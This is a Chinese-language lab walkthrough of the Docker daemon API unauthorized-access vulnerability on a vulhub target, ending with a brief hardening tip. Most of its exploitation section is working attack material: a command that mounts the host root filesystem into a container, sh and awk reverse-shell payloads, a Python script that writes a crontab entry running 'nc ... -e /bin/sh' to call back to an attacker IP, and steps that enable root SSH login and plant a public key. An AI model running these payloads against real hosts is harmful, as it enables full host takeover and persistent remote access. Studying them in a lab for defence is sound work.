1. docker 相关介绍
Docker 是一种开源的容器化技术,它允许开发者将应用程序及其依赖打包到一个可移植的容器中,然后发布到任何流行的 Linux 机器或 Windows 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
1.1 docker 组成部分
- image:镜像,Docker 容器的模板,包含了运行应用程序所需的所有文件、库、环境变量和配置。
- containers:容器,容器是 Docker 镜像的运行实例。
- daemon:守护进程
- 管理 docker 对象,负责创建、启动、停止和删除 Docker 容器、镜像、网络等。
- 处理 docker API 请求请求。
- 维护 docker 环境,包括容器的运行状态、网络配置、存储卷等。
- 安全性,配置使用 TLS 加密,以保护 Docker API 的通信安全。
docker 运行的默认端口为2375
1.2 docker 安装
Install Docker Engine | Docker Docs
1.3 docker daemon api 未授权访问漏洞
Docker 守护进程默认监听在 Unix 套接字(通常是 /var/run/docker.sock)上,这意味着任何在系统上有权限的用户都可以通过这个套接字与 Docker 守护进程通信,从而执行各种操作,包括创建、启动、停止容器,甚至是获取系统权限。如果 Docker 守护进程配置为监听 TCP/IP 套接字,并且没有启用 TLS 加密,那么攻击者就可以通过网络直接访问 Docker 守护进程,进行未授权操作。
2. 漏洞复现
使用环境为 vulhub 的 docker daemon api 未授权访问漏洞:Vulhub - Docker-Compose file for vulnerability environment
Tip
在执行
docker compose --build的过程中,可能会出现如下报错:Error starting daemon: Devices cgroup isn't mounted,可以访问 docker之cgroup版本问题 - 蚁景网络安全 进行解决。
成功运行:

2.1 环境介绍
- 靶机环境:docker v26(安装在 kali,ip:
192.168.88.130)
docker 镜像:vulhub/docker:18.03.0,暴露端口: 2375
可以当靶场运行起来后,手动进入镜像中,拉取一些镜像并启动,例如:centos,alpine。方便后续的利用和学习。 - 攻击环境:kali
3. docker daemon api 未授权访问漏洞利用
3.1 docker 信息获取
3.1.1 通过 API 获取信息
docker 官方 api 文档:Develop with Docker Engine API | Docker Docs
此处仅介绍比较常用的 api:
- 获取系统信息:
http://192.168.88.130:2375/info
可获取到:Containers容器总数,Images镜像总数,OperatingSystem主机操作系统名称等

如图:容器共 2 个,镜像共 2 个 - 获取版本信息:
http://192.168.88.130:2375/version - 列出所有容器:
http://192.168.88.130:2375/containers/json

- 检查指定容器:
http://192.168.88.130:2375/containers/{id}/json - 列出指定容器内运行的进程:
http://192.168.88.130:2375/containers/{id}/top - 获取指定容器日志:
http://192.168.88.130:2375/containers/{id}/logs - 列出所有镜像:
http://192.168.88.130:2375/images/json

- 检查指定镜像:
http://192.168.88.130:2375/images/{name}/json

3.1.2 通过 docker 命令获取信息
此处最好有一个公网的 vps,并且部署好了 vps 环境。可以使用 docker -H tcp://<target-ip>:<port> [docker-command] 进行利用。
- 查看镜像:
docker -H tcp://192.168.88.130:2375 images
- 查看容器:
docker -H tcp://192.168.88.130:2375 ps -a
3.2 docker 主机磁盘挂载
使用 docker 命令创建一个容器,并将主机的磁盘挂载到容器中。
- 先执行查看镜像,我想将靶场 vulhub/docker: 18.03 的根目录挂载到 centos 的容器中。
- 构造 payload:
# docker -H tcp://<ip>:<port> run -it -v /:/mnt <IMAGE-ID> /bin/bash docker -H tcp://192.168.88.130:2375 run -it -v /:/mnt 5d0da3dc9764 /bin/bash
可以看到执行挂载并且启动了容器后,当前登录用户为root,容器系统为centos;并且成功挂载了,路径为:/mnt/,查看挂载的系统为alpine,也就是 vulhub/docker: 18.03,使用的系统是 Alpine linux。
3.2.1 sh 或者 awk 反弹 shell
-
sh 反弹shell
payload:sh -i >& /dev/tcp/192.168.88.130/9001 0>&1在攻击端开启监听:
nc -lvnp 9001,成功监听,结果如下:
-
awk 反弹shell
payload:awk 'BEGIN {s = "/inet/tcp/0/192.168.88.130/9001"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null在攻击端开启监听:
nc -lvnp 9001,成功监听,结果如下:

3.2.2 crontab 定时任务反弹 shell
此处可以使用 vulhub 给出的 payload 进行利用:
import docker
client = docker.DockerClient(base_url='http://target-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})- 将
target-ip更换为存在 docker 服务的目标 ip 地址,your-ip更换为开启监听的 ip 地址 - 运行
alpine:latest这一指定的容器镜像 - 挂载主机的
/etc目录到容器内的/tmp/etc目录,设置为读写模式:volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}} - 在容器中执行
sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root"shell 命令,并且添加到定时任务中,目的是反弹 shell 到开启监听指定 ip 地址的 21 端口 - 容器运行后自动删除,
remove=True

可以看到已经成功写入了定时任务。
如果该指令没有执行,可能是 crontab 服务没有及时刷新。
3.2.3 写入公钥
因靶场并没有使用到 ssh 服务,所以这部分记录一下提供思路。
- 将存在未授权访问漏洞的 docker 目标的根目录挂载到 busybox 的/mnt 目录下。(选用 busybox 命令比较齐全):
--rm:容器停止时,自动删除该容器–privileged:container 内的 root 拥有真正的 root 权限。否则,container 内的 root 只是外部的一个普通用户权限。privileged 启动的容器,可以看到很多 host 上的设备,并且可以执行 mount。甚至允许你在 docker 容器中启动 docker 容器。chroot:将根目录切换到/mnt下
docker -H tcp://target-ip run --rm --privileged -it -v /:/mnt busybox chroot /mnt sh - 修改 ssh 相关的配置文件,并重启 ssh 服务:
sed -i -e ‘s/\#Port 22/Port 22/g’ -e ‘/^Port 22/a\Port 2433’ -e ‘s/\#PermitRootLogin/PermitRootLogin/g’ -e ‘s/PermitRootLogin no/PermitRootLogin yes/g’ -e ‘s/PermitRootLogin without-password/PermitRootLogin yes/g’ -e ‘s/PermitRootLogin prohibit-password/PermitRootLogin yes/g’ -e ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ -e ‘s/GSSAPIAuthentication yes/GSSAPIAuthentication no/g’ -e ‘s/GSSAPICleanupCredentials yes/GSSAPICleanupCredentials no/g’ /etc/ssh/sshd_config systemctl restart sshd - 修改 /root/.ssh/authorized_keys 文件的属性限制,使其可被修改等操作:
chattr -aui /root/.ssh/authorized_keys - 写入已经生成的公钥内容:
echo "your-id_rsa.pub" > authorized_keys - 尝试进行连接:
ssh -i id_rsa root@target-ip
4. docker 配置文件
有关 docker 的配置文件有:docker.service、docker.socket 以及 daemon.json,其详解可以查看:【Docker】专题五:Docker 配置文件详解 - 知乎
对于 docker daemon api 的未授权访问漏洞,需主要关注 daemon.json 中的 hosts 以及 docker.service 中的 ExecStart。
最好仅接受指定 ip 的远程访问,不要设置成 0.0.0.0,监听端口也可以尝试进行修改。
